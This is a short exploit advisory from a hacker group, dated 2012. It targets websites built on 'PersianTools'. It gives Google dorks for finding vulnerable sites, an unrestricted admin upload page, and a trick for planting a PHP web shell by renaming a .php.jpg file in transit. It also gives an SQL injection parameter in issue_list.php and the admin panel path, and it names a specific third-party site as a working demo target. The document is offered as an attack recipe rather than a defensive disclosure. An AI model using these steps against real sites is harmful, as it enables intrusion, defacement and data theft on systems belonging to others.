**************************************************************************************************
|  @@@@@@@@    @@@@@@@@@    @@               @@    @@@@@    @@               @@         @@@@@@@@ |
|  @           @       @    @ @             @ @      @      @ @             @ @         @        |
|  @           @       @    @  @           @  @      @      @  @           @  @         @        |
|  @           @  @@@  @    @   @         @   @      @      @   @         @   @         @        |
|  @@@@@@@@    @@@   @@@    @    @       @    @      @      @    @       @    @         @@@@@@@@ |
|         @    @       @    @     @     @     @      @      @     @     @     @                @ |
| 	  @    @       @    @      @   @      @      @      @      @   @      @                @ |
|   	  @    @       @    @       @ @       @      @      @       @ @       @   @@@          @ |
|  @@@@@@@@    @       @    @        @        @    @@@@@    @        @        @   @@@   @@@@@@@@ |
**************************************************************************************************
==================================================================================================
# [~] Exploit Title: PersianTools SQL Injection + RFU Bug                                        #
# [~] Google Dork (For SQLi) : inurl:"issue_list.php?uid="                                       #
# [~] Google Dork (For RFU) : inurl:"/admin/upload.php"                                          #
# [~] Date: 08/09/2012 - Sa                                                                      #
# [~] Exploit Author: Samim.s                                                                    #
# [~] Version: ALL Versions                                                                      #
# [~] Tested on: Se7en & XP                                                                      #
# [~] Support WebSite : PersianTools.com                                                         #
==================================================================================================
# [+] RFU :                                                                                      #
# http://WebSite.Com/[path]/admin/upload.php                                                     #
#                                                                                                #
# [+] Demo :                                                                                     #
# http://toolmakers.org.ir/admin/upload.php                                                      #
#                                                                                                #
# [+] Shell Address :                                                                            #
# WebSite.Com/first_pic/shell.php.jpg <~~ Change .php.jpg Format To .php By Live HTTP Headers    #
==================================================================================================
# [+] SQLi Exploit :                                                                             #
# http://WebSite.Com/[path]/issue_list.php?uid=[SQLi]                                            #                                                                                                #
# [+] Demo :                                                                                     #
# http://toolmakers.org.ir/mag/issue_list.php?uid=[SQLi]                                         #
#                                                                                                #
# [+] Admin Panel Address :                                                                      #
# http://WebSite.Com/[path]/admin/                                                               #
==================================================================================================
[*] GreetZ To: Mr.XpR - UnknowN - Mr.EBI - SaMaN.BiLiZ - And All IRaNHaCK Member & Iranian HaCkerZ
==================================================================================================